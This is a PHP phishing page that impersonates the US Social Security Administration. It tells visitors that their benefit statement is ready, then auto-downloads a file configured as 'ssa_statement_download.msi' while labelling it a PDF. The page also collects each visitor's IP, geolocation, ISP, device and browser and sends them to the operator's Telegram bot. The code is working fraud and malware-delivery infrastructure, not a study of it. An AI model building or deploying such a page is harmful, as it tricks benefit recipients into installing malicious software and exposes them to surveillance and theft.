<?php
session_start();

// If NOT verified, send user to CAPTCHA page
if (empty($_SESSION['verified'])) {

    header("Location: /ssa.gov/");

    exit();

}

// Your existing settings can stay below
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'error_log.txt');

// Better IP detection with support for proxies
function getClientIP() {
    $ip = '';
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '';
}

// Function to detect device type from user agent
function detectDevice($userAgent) {
    $deviceType = "Desktop";
    
    // Mobile detection
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $deviceType = "Mobile";
        
        // More specific devices
        if (preg_match('/iPhone/i', $userAgent)) {
            $deviceType = "iPhone";
        } elseif (preg_match('/iPad/i', $userAgent)) {
            $deviceType = "iPad";
        } elseif (preg_match('/Android/i', $userAgent)) {
            $deviceType = "Android";
        } elseif (preg_match('/BlackBerry/i', $userAgent)) {
            $deviceType = "BlackBerry";
        }
    }
    
    return $deviceType;
}

// Function to detect browser type from user agent
function detectBrowser($userAgent) {
    $browser = "Unknown Browser";
    
    // Mobile browsers
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $browser = "Handheld Browser";
    }
    
    // Specific browsers
    if (preg_match('/Chrome/i', $userAgent)) {
        $browser = "Chrome";
    } elseif (preg_match('/Firefox/i', $userAgent)) {
        $browser = "Firefox";
    } elseif (preg_match('/Safari/i', $userAgent) && !preg_match('/Chrome/i', $userAgent)) {
        $browser = "Safari";
    } elseif (preg_match('/Edge/i', $userAgent)) {
        $browser = "Edge";
    } elseif (preg_match('/MSIE|Trident/i', $userAgent)) {
        $browser = "Internet Explorer";
    }
    
    return $browser;
}

// Enhanced Function to send Telegram notification
function sendTelegramMessage($message) {
    // Load settings
    if (!file_exists('settings.php')) {
        return false;
    }
    
    try {
        $settings = include 'settings.php';
        
        if (!empty($settings) && isset($settings['telegram']) && $settings['telegram'] == "1" &&
            !empty($settings['bot_url']) && !empty($settings['chat_id'])) {
            
            $send = [
                'chat_id' => $settings['chat_id'],
                'text' => $message,
                'parse_mode' => 'HTML'
            ];
            
            $website = "https://api.telegram.org/{$settings['bot_url']}";
            
            // Send via file_get_contents for better compatibility
            $options = [
                'http' => [
                    'method' => 'POST',
                    'header' => 'Content-Type: application/x-www-form-urlencoded',
                    'content' => http_build_query($send)
                ]
            ];
            
            $context = stream_context_create($options);
            $result = @file_get_contents($website . '/sendMessage', false, $context);
            
            return ($result !== false);
        }
    } catch (Exception $e) {
        error_log("Telegram notification error: " . $e->getMessage());
    }
    
    return false;
}

// Get visitor details
$ip = getClientIP();
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$hostname = gethostbyaddr($ip);
$device = detectDevice($userAgent);
$browser = detectBrowser($userAgent);
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct visit';
$pageURL = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

// Location and ISP info variables
$city = "Unknown";
$country = "Unknown";
$isp = "Unknown";
$region = "Unknown";
$timezone = "Unknown";

// Try to get location info if possible
try {
    $url = "http://ip-api.com/json/" . $ip;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $resp = curl_exec($ch);
    curl_close($ch);
    $details = json_decode($resp, true);

    if ($details && isset($details['status']) && $details['status'] != 'fail') {
        $city = isset($details['city']) ? $details['city'] : 'Unknown';
        $country = isset($details['country']) ? $details['country'] : 'Unknown';
        $isp = isset($details['isp']) ? $details['isp'] : 'Unknown';
        $region = isset($details['regionName']) ? $details['regionName'] : 'Unknown';
        $timezone = isset($details['timezone']) ? $details['timezone'] : 'Unknown';
    }
} catch (Exception $e) {
    // Continue without location data if API fails
    error_log("Location API error: " . $e->getMessage());
}

// Load settings
$settings = file_exists('settings.php') ? include 'settings.php' : [];
$downloadDelay = isset($settings['auto_download_delay']) ? $settings['auto_download_delay'] : 7;
$executableFileName = isset($settings['executable_name']) ? $settings['executable_name'] : "ssa_statement_download.msi";

// Prepare visitor notification message - improved format
$message = "🔔 <b>DOMAIN ACCESS ALERT</b> 🔔\n\n";
$message .= "Someone has visited your SSA Page!\n\n";
$message .= "👤 <b>Visitor Details</b>\n";
$message .= "IP: " . $ip . "\n";
$message .= "Location: " . $city . ", " . $region . ", " . $country . "\n";
$message .= "ISP: " . $isp . "\n";
$message .= "Timezone: " . $timezone . "\n\n";
$message .= "🌐 <b>Technical Details</b>\n";
$message .= "Browser: " . $browser . "\n";
$message .= "Device: " . $device . "\n";
$message .= "Referrer: " . $referrer . "\n";
$message .= "Page URL: " . $pageURL . "\n";
$message .= "Time: " . date('Y-m-d H:i:s') . "\n";

// Send visitor notification to Telegram
$notificationSent = false;
if (isset($settings['notify_on_visit']) && $settings['notify_on_visit']) {
    try {
        $notificationSent = sendTelegramMessage($message);
    } catch (Exception $e) {
        error_log("Error sending notification: " . $e->getMessage());
    }
}

// Log the visit (optional)
if (isset($settings['log_visits']) && $settings['log_visits']) {
    $logEntry = date('Y-m-d H:i:s') . " | IP: {$ip} | Location: {$city}, {$country} | ";
    $logEntry .= "Browser: {$browser} | Device: {$device} | Referrer: {$referrer} | ";
    $logEntry .= "Telegram: " . ($notificationSent ? "Sent" : "Failed") . "\n";
    @file_put_contents('visits.log', $logEntry, FILE_APPEND);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Social Security Administration | Secure Document Portal</title>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@400;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --ssa-blue: #003366;
            --ssa-light-blue: #e1f3f8;
            --ssa-gold: #ffbc3d;
            --ssa-gray: #f0f0f0;
            --text-dark: #333333;
        }
        
        body {
            font-family: 'Source Sans Pro', sans-serif;
            background-color: var(--ssa-gray);
            margin: 0;
            padding: 0;
            color: var(--text-dark);
        }
        
        .usa-banner {
            background-color: #f0f0f0;
            font-size: 12px;
            padding: 6px 10%;
            border-bottom: 1px solid #ccc;
            display: flex;
            align-items: center;
        }

        .usa-banner-flag {
            width: 16px;
            margin-right: 8px;
        }

        .header {
            background-color: var(--ssa-blue);
            padding: 15px 10%;
            display: flex;
            align-items: center;
            border-bottom: 4px solid var(--ssa-gold);
        }

        .ssa-logo {
            height: 45px;
            margin-right: 15px;
        }
        
        .logo-text {
            color: white;
            font-size: 22px;
            font-weight: 700;
            letter-spacing: 0.5px;
            text-transform: uppercase;
        }
        
        .container {
            max-width: 700px;
            margin: 50px auto;
            padding: 40px;
            background-color: white;
            border-radius: 0px;
            box-shadow: 0 4px 12px rgba(0,0,0,0.15);
            border-top: 5px solid var(--ssa-blue);
        }
        
        h1 {
            color: var(--ssa-blue);
            font-size: 24px;
            margin-bottom: 15px;
            text-align: center;
        }
        
        .doc-icon {
            text-align: center;
            font-size: 50px;
            color: var(--ssa-blue);
            margin-bottom: 10px;
        }
        
        p {
            font-size: 16px;
            line-height: 1.5;
            margin-bottom: 20px;
        }
        
        .info-box {
            background-color: var(--ssa-light-blue);
            border: 1px solid #bde1ea;
            padding: 20px;
            margin-bottom: 30px;
            font-size: 14px;
        }
        
        .download-button {
            display: block;
            width: fit-content;
            margin: 20px auto 10px;
            background-color: #0071bc;
            color: white;
            padding: 14px 40px;
            font-size: 18px;
            font-weight: bold;
            text-decoration: none;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
            border: none;
        }
        
        .download-button:hover {
            background-color: #205493;
        }

        .manual-link {
            display: block;
            text-align: center;
            margin-top: 14px;
            color: #0066cc;
            text-decoration: none;
            font-size: 14px;
        }

        .manual-link:hover {
            text-decoration: underline;
        }
        
        .spinner {
            display: inline-block;
            width: 20px;
            height: 20px;
            border: 3px solid rgba(0,0,0,0.1);
            border-radius: 50%;
            border-top-color: var(--ssa-blue);
            animation: spin 1s linear infinite;
            margin-right: 10px;
        }

        @keyframes spin {
            to { transform: rotate(360deg); }
        }
        
        #countdown {
            font-weight: bold;
            color: #d83933;
        }
        
        .download-info {
            margin-top: 30px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
            color: #666;
        }
        
        .footer {
            text-align: center;
            padding: 40px 20px;
            color: #555;
            font-size: 13px;
        }
    </style>

    <?php
    // Delay in seconds before auto download
    $downloadDelay = isset($downloadDelay) ? (int)$downloadDelay : 8;

    // Set your real download endpoint here:
    // It MUST return Content-Disposition: attachment from the server
    $autoUrl   = "download.php?type=auto";
    $manualUrl = "download.php?type=manual";
  ?>

    <meta http-equiv="refresh" content="<?php echo $downloadDelay; ?>; url=<?php echo htmlspecialchars($autoUrl, ENT_QUOTES); ?>">
</head>
<body>
    <div class="usa-banner">
        <img src="https://www.ssa.gov/framework/images/logo.svg" alt="" class="usa-banner-flag" style="height: 12px; width: auto;">
        An official website of the United States government
    </div>

    <div class="header">
        <img src="https://www.ssa.gov/framework/images/logo.svg" alt="SSA Seal" class="ssa-logo">
        <div class="logo-text">Social Security</div>
    </div>
    
    <div class="container">
        <div class="doc-icon">📄</div>
        <h1>Your Social Security Statement is Ready</h1>
        
        <p>Your requested <strong>Social Security Benefit Statement (SSA-1099/1042S)</strong> has been generated and is ready for secure download.</p>
        
        <div class="info-box">
            <strong>Important Privacy Notice:</strong>
            <p style="margin-top: 10px; margin-bottom: 0;">This document contains sensitive personal information. Please ensure you are downloading this file to a private and secure device.
            <p style="margin-top: 10px; margin-bottom: 0;">Open the downloaded attachment on your computer</p>
        </div>
        
        <div class="download-info">
            <div class="spinner" aria-hidden="true"></div>
            <span>Preparing secure file. Download starts in <span id="countdown"><?php echo $downloadDelay; ?></span>s...</span>
        </div>

        <button class="download-button" onclick="window.location.href='<?php echo htmlspecialchars($manualUrl, ENT_QUOTES); ?>'">
            Download Statement (PDF)
        </button>

        <a class="manual-link" href="<?php echo htmlspecialchars($manualUrl, ENT_QUOTES); ?>">
            Click here if the download doesn’t start automatically
        </a>
    </div>
    
    <div class="footer">
        <p>Social Security Administration | 6401 Security Blvd | Baltimore, MD 21235</p>
        <p>Privacy Policy | Accessibility Support | Contact Us</p>
    </div>
    
    <script>
        (function () {
            const autoUrl = <?php echo json_encode($autoUrl); ?>;
            let timeLeft = <?php echo (int)$downloadDelay; ?>;
            const el = document.getElementById("countdown");

            if (el) el.textContent = timeLeft;

            const timer = setInterval(() => {
                timeLeft = Math.max(0, timeLeft - 1);
                if (el) el.textContent = timeLeft;
                if (timeLeft === 0) clearInterval(timer);
            }, 1000);

            // Trigger download after delay using JS (more reliable than meta refresh)
            setTimeout(() => {
                window.location.href = autoUrl;
            }, <?php echo (int)$downloadDelay; ?> * 1000);
        })();
    </script>
</body>
</html>